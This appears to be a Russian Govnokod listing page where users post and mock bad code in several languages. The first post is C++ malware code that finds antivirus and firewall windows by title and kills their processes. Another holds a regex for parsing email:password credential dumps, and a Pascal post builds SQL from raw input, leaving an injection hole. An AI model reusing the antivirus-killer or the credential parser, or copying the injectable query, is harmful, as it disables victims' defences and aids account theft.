1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #16341

    +26

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};
    
    BOOL BadWindow(LPSTR strWindow)
    {
    BOOL res = FALSE;
    for (int i=0;i<kx;i++)
    if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
    return res;
    }
    BOOL CALLBACK WndEnumProcMine (HWND hwnd1,long l1)
    {
    LPTSTR str1 = new char[255];
    GetWindowText(hwnd1,str1,255);
    if (BadWindow(str1))
    {
    DWORD dwProcessId;
    GetWindowThreadProcessId(hwnd1,&dwProcessId);
    if (dwProcessId!=GetCurrentProcessId())
    {
    HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId);
    TerminateProcess(hProcess,0);
    CloseHandle(hProcess);
    }
    }
    delete str1;
    return TRUE;
    }
    void EnumProcessesOther()
    {
    LPARAM c = 0;
    EnumWindows((WNDENUMPROC) WndEnumProcMine,c);
    }

    > {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"}
    > TerminateProcess(hProcess,0);
    Наивный макак.

    http://www.makak.ru/2008/02/27/neslozhnyj-rezidentnyj-virus-cherv-na-c/

    gost, 15 Июля 2014

    Комментарии (23)
  3. Куча / Говнокод #16285

    +133

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    if chkyandex.Checked then
    	
        reg.Expression:='([a-zA-Z0-9]+[\.]{0,}[\_]{0,}[-]{0,})+@([ya]{2}[ndex]{0,4}|[xaker]{5})\.[a-zA-Z]{2,3}\s{0,4}[:;]\s{0,4}[a-zA-Z0-9\.\_]+'; 
        else
        reg.Expression:='([a-zA-Z0-9]+[\.]{0,}[\_]{0,}[-]{0,})+@([mail]{4}|[inbox]{5}|bk{2}|list{4})\.([a-zA-Z]{2,3}\s{0,4}[:;]\s{0,4}[_\-a-zA-Z\d\.\_]+)';

    RegEXP головного мозга.
    Работает.

    brutushafens, 08 Июля 2014

    Комментарии (23)
  4. C# / Говнокод #16253

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    class ProducerConsumer
        {
            private static Semaphore semaphore = new Semaphore(1, 2);
            static object locker = new object();
            static int product = 0;
            private static bool work = true;
            private static bool valueSet = false; // why??
    
            private static void Producer() // производитель
            {
                while (work)
                {
                    Console.WriteLine("Thread Producer start");
                    int sqr = 0;
                    semaphore.WaitOne(); // декрементируем счётчик семафора
                    for (int i = 0; i < 15; i++)
                    {
                        sqr = i * i;
                    }
                    lock (locker) // error
                    {
    
                        while (valueSet)
                        {
                            Thread.Yield();
                        }
                        product += sqr;
                        valueSet = true;
                        Console.WriteLine("Product put: " + sqr);
                        Console.WriteLine("Product now: " + product);
                    }
                    semaphore.Release(); // выход из семафора
                    Thread.Sleep(5000);
                }
            }
    
            private static void Consumer() // потребитель
            {
                const int MAX = 5;
                int[] arr = new int[MAX];
                int result = 0;
                Random rand = new Random();
    
                while (work)
                {
                    Console.WriteLine("Thread Consumer start");
                    semaphore.WaitOne(); 
                    for (int i = 0; i < 5; i++)
                    {
                        arr[i] = rand.Next(0, 1024);
                    }
                    for (int i = 0; i < 5; i++)
                    {
                        result += arr[i];
                    }
                    result /= 5;
                    while (!valueSet)
                    {
                        Thread.Yield();
                    }
                    lock (locker)
                    {
                        if (product - result > 0) // исключаем отриц.кол-ва продуктов
                        {
                            product -= result;
                            Console.WriteLine("Product get: " + result);
                        }
                        else 
                        {
                            Console.WriteLine("Product < 0");
                        }
                        valueSet = false;
                        Console.WriteLine("Product now: " + product);
                    }
                    semaphore.Release();
                    Thread.Sleep(5000);
                }
            }
    
            public static void Main()
            {
                Thread threadProducer = new Thread(Producer);
                threadProducer.Start();
    
                Thread threadConsumer = new Thread(Consumer);
                threadConsumer.Start();
    
                Thread.Sleep(5000);
    
                Console.WriteLine("Main thread start.");
                String str = System.Console.ReadLine();
                Console.ReadKey();
            } 
    }

    Корявый пример решения задачи "Producer-Consumer".

    qstd, 29 Июня 2014

    Комментарии (23)
  5. Java / Говнокод #16153

    +68

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    int k = 50;
    while (true){
        i = i + i;
        System.out.println(i);
        k--;
        if (k<0) break;
    }

    http://stackoverflow.com/questions/24173463/why-does-i-i-i-give-me-0

    evg_ever, 12 Июня 2014

    Комментарии (23)
  6. C# / Говнокод #16119

    +110

    1. 1
    private string _guin = Convert.ToString(Convert.ToString(Convert.ToString((string)Guid.NewGuid().ToString()).ToString() as string).ToString() as string).ToString() as string;

    alexCoder2007, 05 Июня 2014

    Комментарии (23)
  7. PHP / Говнокод #15936

    +160

    1. 1
    2. 2
    3. 3
    class WPEditableComments{
    
    	function WPEditableComments(){$this->__construct();}

    Нашел в одном из плагинов wp. Чел думает об обратной совместимости ога

    Diwms, 07 Мая 2014

    Комментарии (23)
  8. Куча / Говнокод #15890

    +126

    1. 1
    2. 2
    printfn "%A" <| [1,2,3,4,5].Length
    printfn "%A" <| [1..5].Length

    F#
    http://ideone.com/A2DZPr

    HaskellGovno, 03 Мая 2014

    Комментарии (23)
  9. C# / Говнокод #15723

    +134

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    foreach (Admin _admin in _admins.Where(a => a.Login == _login))
                    {
                        if (_admin.Password == _password)
                        {
                            SessionObj = new Al2AllAuth
                            {
                                AccessId = _admin.Type,
                                Ename = _admin.Name,
                                Whoid = _admin.Id
                            };
                            var _type = (AdminTypes) _admin.Type;
                            switch (_type)
                            {
                                case AdminTypes.FirstType:
                                    return RedirectToAction(c_adminActionName, c_userControllerName);
                                case AdminTypes.SecondType:
                                    if (string.IsNullOrEmpty(model.Page) || string.IsNullOrEmpty(model.Uid))
                                        throw new ArgumentException(InternalResources.EmptyPageOrUid, "model");
                                    return RedirectToAction(model.Page, new { uid = model.Uid });
                                default: 
                                    break;
                            }
                        }
                        else
                        {
                            return RedirectToAction(_errorActionName);
                        }
                    }

    Лямбда в foreach очен смутила... Зачем?

    KonstantinK, 11 Апреля 2014

    Комментарии (23)
  10. Pascal / Говнокод #15435

    +91

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    if not DM.For_Akc_Base_Update.InTransaction then
          DM.For_Akc_Base_Update.StartTransaction;
                  Close;
                  SQL.Clear;
                  SQL.Add('insert into Bank (BNAME, full_name, bik, ks, inn, rkc,postind,postcity,postaddr,telef ) values ');
                  SQL.Add('('''+edName.Text+''', '''+mFull_Name.Text+''', ');
                  SQL.Add(' '''+edBik.Text+''', ');
                  SQL.Add(''''+edKS.Text+''', '''+edInn.Text+''', ');
                  SQL.Add(''''+edRkc.Text+''', '''+edInd.Text+''', ');
                  SQL.Add(''''+edCity.Text+''', '''+edAdr.Text+''', ');
                  SQL.Add(''''+edTel.Text+''' )');
                  ExecSQL;
                  DM.For_Akc_Base_Update.Commit;
                      DM.Bank.Close;
                      DM.Bank.Open;

    Принял проект. Начал смотреть. Вот так вот добавляют запись в таблицу. И так по всему проекту.

    Vince, 12 Марта 2014

    Комментарии (23)
  11. Куча / Говнокод #15397

    +130

    1. 1
    DECLARE (A, B INIT ((5)0,(5)1)) DIM (0:9) FLOAT;

    LispGovno, 08 Марта 2014

    Комментарии (23)